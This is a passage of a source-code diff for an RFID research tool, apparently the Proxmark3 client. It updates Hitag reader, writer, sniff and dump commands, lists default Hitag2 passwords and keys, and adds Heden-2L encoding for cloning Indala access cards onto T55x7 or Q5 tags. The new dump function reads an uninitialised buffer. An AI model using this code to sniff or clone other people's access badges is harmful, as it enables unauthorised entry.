PrintAndLogEx(NORMAL, "Usage: lf hitag info [h] p <pwd>"); PrintAndLogEx(NORMAL, "Usage: lf hitag info [h] p <pwd>");
@ -58,7 +59,7 @@ static int usage_hitag_info(void) {
PrintAndLogEx(NORMAL, " p <pwd> password"); PrintAndLogEx(NORMAL, " p <pwd> password");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag info"); PrintAndLogEx(NORMAL, " lf hitag info");
return 0; return PM3_SUCCESS;
} }
/* /*
static int usage_hitag_dump(void) { static int usage_hitag_dump(void) {
@ -71,7 +72,7 @@ static int usage_hitag_dump(void) {
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag dump f mydump"); PrintAndLogEx(NORMAL, " lf hitag dump f mydump");
PrintAndLogEx(NORMAL, " lf hitag dump p 4D494B52 f mydump"); PrintAndLogEx(NORMAL, " lf hitag dump p 4D494B52 f mydump");
return 0; return PM3_SUCCESS;
} }
*/ */
static int usage_hitag_reader(void) { static int usage_hitag_reader(void) {
@ -85,12 +86,12 @@ static int usage_hitag_reader(void) {
PrintAndLogEx(NORMAL, " Hitag1 (1*)"); PrintAndLogEx(NORMAL, " Hitag1 (1*)");
PrintAndLogEx(NORMAL, " Not implemented"); PrintAndLogEx(NORMAL, " Not implemented");
PrintAndLogEx(NORMAL, " Hitag2 (2*)"); PrintAndLogEx(NORMAL, " Hitag2 (2*)");
PrintAndLogEx(NORMAL, " 21 <password> Read all pages, password mode. Default: 4D494B52 (\"MIKR\")"); PrintAndLogEx(NORMAL, " 21 <password> Read all pages, password mode. Default: " _YELLOW_("4D494B52") "(\"MIKR\")");
PrintAndLogEx(NORMAL, " 22 <nr> <ar> Read all pages, challenge mode"); PrintAndLogEx(NORMAL, " 22 <nr> <ar> Read all pages, challenge mode");
PrintAndLogEx(NORMAL, " 23 <key> Read all pages, crypto mode. Key format: ISK high + ISK low. Default: 4F4E4D494B52 (\"ONMIKR\")"); PrintAndLogEx(NORMAL, " 23 <key> Read all pages, crypto mode. Key format: ISK high + ISK low. Default: " _YELLOW_("4F4E4D494B52") "(\"ONMIKR\")");
PrintAndLogEx(NORMAL, " 25 Test recorded authentications"); PrintAndLogEx(NORMAL, " 25 Test recorded authentications");
PrintAndLogEx(NORMAL, " 26 Just read UID"); PrintAndLogEx(NORMAL, " 26 Just read UID");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_writer(void) { static int usage_hitag_writer(void) {
PrintAndLogEx(NORMAL, "Hitag writer functions"); PrintAndLogEx(NORMAL, "Hitag writer functions");
@ -106,7 +107,7 @@ static int usage_hitag_writer(void) {
PrintAndLogEx(NORMAL, " 24 <key> <page> <byte0...byte3> Write page, crypto mode. Key format: ISK high + ISK low."); PrintAndLogEx(NORMAL, " 24 <key> <page> <byte0...byte3> Write page, crypto mode. Key format: ISK high + ISK low.");
PrintAndLogEx(NORMAL, " Default: 4F4E4D494B52 (\"ONMIKR\"). Set key=0 for no auth"); PrintAndLogEx(NORMAL, " Default: 4F4E4D494B52 (\"ONMIKR\"). Set key=0 for no auth");
PrintAndLogEx(NORMAL, " 27 <password> <page> <byte0...byte3> Write page, password mode. Default: 4D494B52 (\"MIKR\")"); PrintAndLogEx(NORMAL, " 27 <password> <page> <byte0...byte3> Write page, password mode. Default: 4D494B52 (\"MIKR\")");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_checkchallenges(void) { static int usage_hitag_checkchallenges(void) {
PrintAndLogEx(NORMAL, "Check challenges, load a file with save hitag crypto challenges and test them all."); PrintAndLogEx(NORMAL, "Check challenges, load a file with save hitag crypto challenges and test them all.");
@ -119,19 +120,19 @@ static int usage_hitag_checkchallenges(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag cc f lf-hitag-challenges"); PrintAndLogEx(NORMAL, " lf hitag cc f lf-hitag-challenges");
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagList(const char *Cmd) { static int CmdLFHitagList(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdTraceList("hitag"); CmdTraceList("hitag2");
return 0; return PM3_SUCCESS;
/* /*
uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t));
if (!got) { if (!got) {
PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); PrintAndLogEx(WARNING, "Cannot allocate memory for trace");
return 2; return PM3_EMALLOC;
} }
// Query for the actual size of the trace // Query for the actual size of the trace
@ -139,7 +140,7 @@ static int CmdLFHitagList(const char *Cmd) {
if (!GetFromDevice(BIG_BUF, got, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 2500, false)) { if (!GetFromDevice(BIG_BUF, got, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 2500, false)) {
PrintAndLogEx(WARNING, "command execution time out"); PrintAndLogEx(WARNING, "command execution time out");
free(got); free(got);
return 2; return PM3_ETIMEOUT;
} }
uint16_t traceLen = response.arg[2]; uint16_t traceLen = response.arg[2];
@ -148,13 +149,13 @@ static int CmdLFHitagList(const char *Cmd) {
if (p == NULL) { if (p == NULL) {
PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); PrintAndLogEx(WARNING, "Cannot allocate memory for trace");
free(got); free(got);
return 2; return PM3_EMALLOC;
} }
got = p; got = p;
if (!GetFromDevice(BIG_BUF, got, traceLen, 0, NULL, 0, NULL, 2500, false)) { if (!GetFromDevice(BIG_BUF, got, traceLen, 0, NULL, 0, NULL, 2500, false)) {
PrintAndLogEx(WARNING, "command execution time out"); PrintAndLogEx(WARNING, "command execution time out");
free(got); free(got);
return 2; return PM3_ETIMEOUT;
} }
} }
@ -251,7 +252,7 @@ static int CmdLFHitagList(const char *Cmd) {
} }
free(got); free(got);
return 0; return PM3_SUCCES;
*/ */
} }
@ -262,7 +263,7 @@ static int CmdLFHitagSniff(const char *Cmd) {
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0); SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0);
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagSim(const char *Cmd) { static int CmdLFHitagSim(const char *Cmd) {
@ -343,7 +344,7 @@ static int CmdLFHitagSim(const char *Cmd) {
} }
free(data); free(data);
return 0; return PM3_SUCCESS;
} }
static void printHitagConfiguration(uint8_t config) { static void printHitagConfiguration(uint8_t config) {
@ -483,21 +484,20 @@ static int CmdLFHitagInfo(const char *Cmd) {
// read UID // read UID
uint32_t uid = 0; uint32_t uid = 0;
if (getHitagUid(&uid) == false) if (getHitagUid(&uid) == false)
return 1; return PM3_ESOFT;
PrintAndLogEx(SUCCESS, "UID: %08X", uid); PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%08X"), uid);
// how to detemine Hitag types? // how to detemine Hitag types?
// read block3, get configuration byte. // read block3, get configuration byte.
PrintAndLogEx(FAILED, _RED_("TODO: This is a hardcoded example!"));
// common configurations. // common configurations.
printHitagConfiguration(0x06); // printHitagConfiguration(0x06);
//printHitagConfiguration( 0x0E ); //printHitagConfiguration( 0x0E );
//printHitagConfiguration( 0x02 ); //printHitagConfiguration( 0x02 );
//printHitagConfiguration( 0x00 ); //printHitagConfiguration( 0x00 );
//printHitagConfiguration( 0x04 ); //printHitagConfiguration( 0x04 );
return 0; return PM3_SUCCESS;
} }
// TODO: iceman // TODO: iceman
@ -550,39 +550,28 @@ static int CmdLFHitagReader(const char *Cmd) {
} }
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(cmd, htf, 0, 0, &htd, sizeof(htd)); SendCommandMIX(cmd, htf, 0, 0, &htd, sizeof(htd));
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply."); PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return 1; return PM3_ETIMEOUT;
} }
if (resp.oldarg[0] == false) { if (resp.oldarg[0] == false) {
PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed"); PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed");
return 1; return PM3_ESOFT;
} }
uint32_t id = bytes_to_num(resp.data.asBytes, 4); uint32_t id = bytes_to_num(resp.data.asBytes, 4);
uint8_t *data = resp.data.asBytes;
PrintAndLogEx(SUCCESS, " UID: " _YELLOW_("%08x"), id);
PrintAndLogEx(SUCCESS, "Valid Hitag2 tag found - UID: %08x", id);
if (htf != RHT2F_UID_ONLY) { if (htf != RHT2F_UID_ONLY) {
PrintAndLogEx(SUCCESS, "Dumping tag memory...");
uint8_t *data = resp.data.asBytes;
char filename[FILE_PATH_SIZE];
char *fnameptr = filename;
fnameptr += sprintf(fnameptr, "lf-hitag-");
FillFileNameByUID(fnameptr, data, "-dump", 4);
saveFile(filename, ".bin", data, 48);
saveFileEML(filename, data, 48, 4);
saveFileJSON(filename, jsfHitag, data, 48);
// block3, 1 byte // block3, 1 byte
printHitagConfiguration(data[4 * 3]); printHitagConfiguration(data[4 * 3]);
} }
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagCheckChallenges(const char *Cmd) { static int CmdLFHitagCheckChallenges(const char *Cmd) {
@ -631,7 +620,7 @@ static int CmdLFHitagCheckChallenges(const char *Cmd) {
SendCommandMIX(CMD_LF_HITAGS_TEST_TRACES, 0, 0, 0, NULL, 0); SendCommandMIX(CMD_LF_HITAGS_TEST_TRACES, 0, 0, 0, NULL, 0);
free(data); free(data);
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagWriter(const char *Cmd) { static int CmdLFHitagWriter(const char *Cmd) {
@ -675,43 +664,97 @@ static int CmdLFHitagWriter(const char *Cmd) {
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply."); PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return 1; return PM3_ETIMEOUT;
} }
if (resp.oldarg[0] == false) { if (resp.oldarg[0] == false) {
PrintAndLogEx(DEBUG, "DEBUG: Error - hitag write failed"); PrintAndLogEx(DEBUG, "DEBUG: Error - hitag write failed");
return 1; return PM3_ESOFT;
} }
return 0; return PM3_SUCCESS;
} }
/* static int CmdLFHitag2Dump(const char *Cmd) {
static int CmdLFHitagDump(const char *Cmd) {
PrintAndLogEx(INFO, "Dumping of tag memory"); PrintAndLogEx(INFO, "Dumping of tag memory");
PrintAndLogEx(INFO, "To be done!");
char ctmp = tolower(param_getchar(Cmd, 0)); char ctmp = tolower(param_getchar(Cmd, 0));
if (ctmp == 'h') return usage_hitag_dump(); if (ctmp == 'h') return 0; // usage_hitag_dump();
return 0;
PacketResponseNG resp;
PrintAndLogEx(SUCCESS, "Dumping tag memory...");
uint8_t *data = resp.data.asBytes;
char filename[FILE_PATH_SIZE];
char *fnameptr = filename;
fnameptr += sprintf(fnameptr, "lf-hitag-");
FillFileNameByUID(fnameptr, data, "-dump", 4);
saveFile(filename, ".bin", data, 48);
saveFileEML(filename, data, 48, 4);
saveFileJSON(filename, jsfHitag, data, 48);
return PM3_SUCCESS;
}
// Annotate HITAG protocol
void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
}
void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
uint8_t cmdbits = (cmd[0] & 0xC0) >> 6;
if (cmdsize == 1) {
if (cmdbits == HITAG2_START_AUTH) {
snprintf(exp, size, "START AUTH");
return;
}
if (cmdbits == HITAG2_HALT) {
snprintf(exp, size, "HALT");
return;
}
}
if (cmdsize == 2) {
if (cmdbits == HITAG2_START_AUTH) {
// C 1 C 0
// 1100 0 00 1 1100 000
uint8_t page = (cmd[0] & 0x38) >> 3;
uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6);
snprintf(exp, size, "READ page(%x) %x", page, inv_page);
return;
}
if (cmdbits == HITAG2_WRITE_PAGE) {
uint8_t page = (cmd[0] & 0x38) >> 3;
uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6);
snprintf(exp, size, "WRITE page(%x) %x", page, inv_page);
return;
}
}
}
void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
} }
*/
static command_t CommandTable[] = { static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help" }, {"help", CmdHelp, AlwaysAvailable, "This help" },
{"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" },
{"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information" }, {"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information" },
{"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag Reader" }, {"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag Reader" },
{"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder" }, {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder" },
{"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication" }, {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication" },
{"writer", CmdLFHitagWriter, IfPm3Hitag, "Act like a Hitag Writer" }, {"writer", CmdLFHitagWriter, IfPm3Hitag, "Act like a Hitag Writer" },
{"cc", CmdLFHitagCheckChallenges, IfPm3Hitag, "Test all challenges" }, {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag2 tag" },
{"cc", CmdLFHitagCheckChallenges, IfPm3Hitag, "Test all challenges" },
{ NULL, NULL, 0, NULL } { NULL, NULL, 0, NULL }
}; };
static int CmdHelp(const char *Cmd) { static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable); CmdsHelp(CommandTable);
return 0; return PM3_SUCCESS;
} }
int CmdLFHitag(const char *Cmd) { int CmdLFHitag(const char *Cmd) {
@ -720,5 +763,5 @@ int CmdLFHitag(const char *Cmd) {
} }
int readHitagUid(void) { int readHitagUid(void) {
return CmdLFHitagReader("26") == 0; return (CmdLFHitagReader("26") == PM3_SUCCESS);
} }

View file

@ -16,5 +16,7 @@
int CmdLFHitag(const char *Cmd); int CmdLFHitag(const char *Cmd);
int readHitagUid(void); int readHitagUid(void);
void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
#endif #endif

View file

@ -31,7 +31,7 @@
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
//large 224 bit indala formats (different preamble too...) //large 224 bit indala formats (different preamble too...)
static uint8_t preamble224[] = {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}; static uint8_t preamble224[] = {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
// standard 64 bit indala formats including 26 bit 40134 format // standard 64 bit indala formats including 26 bit 40134 format
static uint8_t preamble64[] = {1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}; static uint8_t preamble64[] = {1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1};
@ -58,16 +58,91 @@ static int usage_lf_indala_sim(void) {
PrintAndLogEx(NORMAL, "Enables simulation of Indala card with specified uid."); PrintAndLogEx(NORMAL, "Enables simulation of Indala card with specified uid.");
PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued.");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Usage: lf indala sim [h] <uid>"); PrintAndLogEx(NORMAL, "Usage: lf indala sim [h] <u uid> <c cardnum>");
PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h : This help"); PrintAndLogEx(NORMAL, " h : This help");
PrintAndLogEx(NORMAL, " <uid> : 64/224 UID"); PrintAndLogEx(NORMAL, " u <uid> : 64/224 UID");
PrintAndLogEx(NORMAL, " c <cardnum> : Cardnumber for Heden 2L format (decimal)");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf indala sim deadc0de"); PrintAndLogEx(NORMAL, " lf indala sim deadc0de");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
#define HEDEN2L_OFFSET 31
static void encodeHeden2L(uint8_t *dest, uint32_t cardnumber) {
uint8_t template[] = {
1, 0, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 1, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 1, 0, 0, 1,
0, 0, 0, 0, 0, 0, 1, 0
};
uint8_t cardbits[32];
num_to_bytebits(cardnumber, sizeof(cardbits), cardbits);
if (cardbits[31] == 1) template[HEDEN2L_OFFSET + 8] = 0x1;
if (cardbits[30] == 1) template[HEDEN2L_OFFSET + 10] = 0x1;
if (cardbits[29] == 1) template[HEDEN2L_OFFSET + 14] = 0x1;
if (cardbits[28] == 1) template[HEDEN2L_OFFSET + 15] = 0x1;
if (cardbits[27] == 1) template[HEDEN2L_OFFSET + 12] = 0x1;
if (cardbits[26] == 1) template[HEDEN2L_OFFSET + 28] = 0x1;
if (cardbits[25] == 1) template[HEDEN2L_OFFSET + 3] = 0x1;
if (cardbits[24] == 1) template[HEDEN2L_OFFSET + 11] = 0x1;
if (cardbits[23] == 1) template[HEDEN2L_OFFSET + 19] = 0x1;
if (cardbits[22] == 1) template[HEDEN2L_OFFSET + 26] = 0x1;
if (cardbits[21] == 1) template[HEDEN2L_OFFSET + 17] = 0x1;
if (cardbits[20] == 1) template[HEDEN2L_OFFSET + 18] = 0x1;
if (cardbits[19] == 1) template[HEDEN2L_OFFSET + 20] = 0x1;
if (cardbits[18] == 1) template[HEDEN2L_OFFSET + 13] = 0x1;
if (cardbits[17] == 1) template[HEDEN2L_OFFSET + 7] = 0x1;
if (cardbits[16] == 1) template[HEDEN2L_OFFSET + 23] = 0x1;
// Parity
uint8_t counter = 0;
for (int i = 0; i < sizeof(template) - HEDEN2L_OFFSET; i++) {
if (template[i])
counter++;
}
template[63] = (counter & 0x1);
for (int i = 0; i < sizeof(template); i += 8) {
dest[i / 8] = bytebits_to_byte(template + i, 8);
}
PrintAndLogEx(INFO, "Heden-2L card number %u", cardnumber);
}
static void decodeHeden2L(uint8_t *bits) {
uint32_t cardnumber = 0;
uint8_t offset = HEDEN2L_OFFSET;
if (bits[offset + 8]) cardnumber += 1;
if (bits[offset + 10]) cardnumber += 2;
if (bits[offset + 14]) cardnumber += 4;
if (bits[offset + 15]) cardnumber += 8;
if (bits[offset + 12]) cardnumber += 16;
if (bits[offset + 28]) cardnumber += 32;
if (bits[offset + 3]) cardnumber += 64;
if (bits[offset + 11]) cardnumber += 128;
if (bits[offset + 19]) cardnumber += 256;
if (bits[offset + 26]) cardnumber += 512;
if (bits[offset + 17]) cardnumber += 1024;
if (bits[offset + 18]) cardnumber += 2048;
if (bits[offset + 20]) cardnumber += 4096;
if (bits[offset + 13]) cardnumber += 8192;
if (bits[offset + 7]) cardnumber += 16384;
if (bits[offset + 23]) cardnumber += 32768;
PrintAndLogEx(SUCCESS, "\tHeden-2L | %u", cardnumber);
}
// Indala 26 bit decode // Indala 26 bit decode
// by marshmellow, martinbeier // by marshmellow, martinbeier
// optional arguments - same as PSKDemod (clock & invert & maxerr) // optional arguments - same as PSKDemod (clock & invert & maxerr)
@ -172,8 +247,11 @@ static int CmdIndalaDemod(const char *Cmd) {
PrintAndLogEx(SUCCESS, "Possible de-scramble patterns"); PrintAndLogEx(SUCCESS, "Possible de-scramble patterns");
PrintAndLogEx(SUCCESS, "\tPrinted | __%04d__ [0x%X]", p1, p1); PrintAndLogEx(SUCCESS, "\tPrinted | __%04d__ [0x%X]", p1, p1);
PrintAndLogEx(SUCCESS, "\tInternal ID | %" PRIu64, foo); PrintAndLogEx(SUCCESS, "\tInternal ID | %" PRIu64, foo);
decodeHeden2L(DemodBuffer);
PrintAndLogEx(SUCCESS, "Fmt 26 bit FC %u , CSN %u , checksum %1d%1d", fc, csn, checksum >> 1 & 0x01, checksum & 0x01); PrintAndLogEx(SUCCESS, "Fmt 26 bit FC %u , CSN %u , checksum %1d%1d", fc, csn, checksum >> 1 & 0x01, checksum & 0x01);
} else { } else {
uint32_t uid3 = bytebits_to_byte(DemodBuffer + 64, 32); uint32_t uid3 = bytebits_to_byte(DemodBuffer + 64, 32);
uint32_t uid4 = bytebits_to_byte(DemodBuffer + 96, 32); uint32_t uid4 = bytebits_to_byte(DemodBuffer + 96, 32);
@ -405,7 +483,7 @@ static int CmdIndalaDemodAlt(const char *Cmd) {
// this read is the "normal" read, which download lf signal and tries to demod here. // this read is the "normal" read, which download lf signal and tries to demod here.
static int CmdIndalaRead(const char *Cmd) { static int CmdIndalaRead(const char *Cmd) {
lf_read(true, 30000); lf_read(false, 30000);
return CmdIndalaDemod(Cmd); return CmdIndalaDemod(Cmd);
} }
@ -464,49 +542,55 @@ static int CmdIndalaSim(const char *Cmd) {
static int CmdIndalaClone(const char *Cmd) { static int CmdIndalaClone(const char *Cmd) {
bool isLongUid = false; bool is_long_uid = false, got_cn = false;
bool is_t5555 = false;
int32_t cardnumber;
uint32_t blocks[8] = {0}; uint32_t blocks[8] = {0};
uint8_t max = 0; uint8_t max = 0;
uint8_t data[7 * 4]; uint8_t data[7 * 4];
int datalen = 0; int datalen = 0;
CLIParserInit("lf indala clone", CLIParserInit("lf indala clone",
"Enables cloning of Indala card with specified uid onto T55x7\n" "clone INDALA tag to T55x7 (or to q5/T5555)",
"defaults to 64.\n", "Examples:\n"
"\n" "\tlf indala clone -c 888\n"
"Samples:\n" "\tlf indala clone -r a0000000a0002021\n"
"\tlf indala clone a0000000a0002021\n" "\tlf indala clone -l -r 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5");
"\tlf indala clone -l 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5");
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_lit0("lL", "long", "long UID 224 bits"), arg_lit0("lL", "long", "optional - long UID 224 bits"),
arg_strx1(NULL, NULL, "<uid (hex)>", NULL), arg_int0("cC", "cn", "<decimal>", "Cardnumber for Heden 2L format"),
arg_strx0("rR", "raw", "<hex>", "raw bytes"),
arg_lit0("qQ", "Q5", "optional - specify write to Q5 (t5555 instead of t55x7)"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(Cmd, argtable, false); CLIExecWithReturn(Cmd, argtable, false);
isLongUid = arg_get_lit(1); is_long_uid = arg_get_lit(1);
CLIGetHexWithReturn(2, data, &datalen); if (is_long_uid == false) {
cardnumber = arg_get_int_def(2, -1);
got_cn = (cardnumber != -1);
}
if (got_cn == false) {
CLIGetHexWithReturn(3, data, &datalen);
}
is_t5555 = arg_get_lit(4);
CLIParserFree(); CLIParserFree();
/* if (is_long_uid) {
//TODO add selection of chip for Q5 or T55x7 // 224 BIT UID
// data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK2 | 7 << T5555_MAXBLOCK_SHIFT;
//Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=7;Inverse data)
// T5567WriteBlock(0x603E10E2,0);
// data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK1 | 2 << T5555_MAXBLOCK_SHIFT;
//Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=2;Inverse data)
// T5567WriteBlock(0x603E1042,0);
*/
if (isLongUid) {
// config for Indala (RF/32;PSK2 with RF/2;Maxblock=7) // config for Indala (RF/32;PSK2 with RF/2;Maxblock=7)
PrintAndLogEx(INFO, "Preparing to clone Indala 224bit tag with RawID %s", sprint_hex(data, datalen)); PrintAndLogEx(INFO, "Preparing to clone Indala 224bit tag with RawID %s", sprint_hex(data, datalen));
blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT);
if (is_t5555)
blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK2 | (7 << T5555_MAXBLOCK_SHIFT);
else
blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT);
blocks[1] = bytes_to_num(data, 4); blocks[1] = bytes_to_num(data, 4);
blocks[2] = bytes_to_num(data + 4, 4); blocks[2] = bytes_to_num(data + 4, 4);
blocks[3] = bytes_to_num(data + 8, 4); blocks[3] = bytes_to_num(data + 8, 4);
@ -516,16 +600,26 @@ static int CmdIndalaClone(const char *Cmd) {
blocks[7] = bytes_to_num(data + 24, 4); blocks[7] = bytes_to_num(data + 24, 4);
max = 8; max = 8;
} else { } else {
// 64 BIT UID
if (got_cn) {
encodeHeden2L(data, cardnumber);
datalen = 8;
}
// config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2) // config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2)
PrintAndLogEx(INFO, "Preparing to clone Indala 64bit tag with RawID %s", sprint_hex(data, datalen)); PrintAndLogEx(INFO, "Preparing to clone Indala 64bit tag with RawID %s", sprint_hex(data, datalen));
blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT);
if (is_t5555)
blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK1 | (2 << T5555_MAXBLOCK_SHIFT);
else
blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT);
blocks[1] = bytes_to_num(data, 4); blocks[1] = bytes_to_num(data, 4);
blocks[2] = bytes_to_num(data + 4, 4); blocks[2] = bytes_to_num(data + 4, 4);
max = 3; max = 3;
} }
print_blocks(blocks, max); print_blocks(blocks, max);
return clone_t55xx_tag(blocks, max); return clone_t55xx_tag(blocks, max);
} }
@ -555,8 +649,7 @@ int CmdLFINDALA(const char *Cmd) {
int detectIndala(uint8_t *dest, size_t *size, uint8_t *invert) { int detectIndala(uint8_t *dest, size_t *size, uint8_t *invert) {
uint8_t preamble64_i[] = {0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0}; uint8_t preamble64_i[] = {0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0};
uint8_t preamble224_i[] = {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0}; uint8_t preamble224_i[] = {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1};
size_t idx = 0; size_t idx = 0;
size_t found_size = *size; size_t found_size = *size;

Some files were not shown because too many files have changed in this diff Show more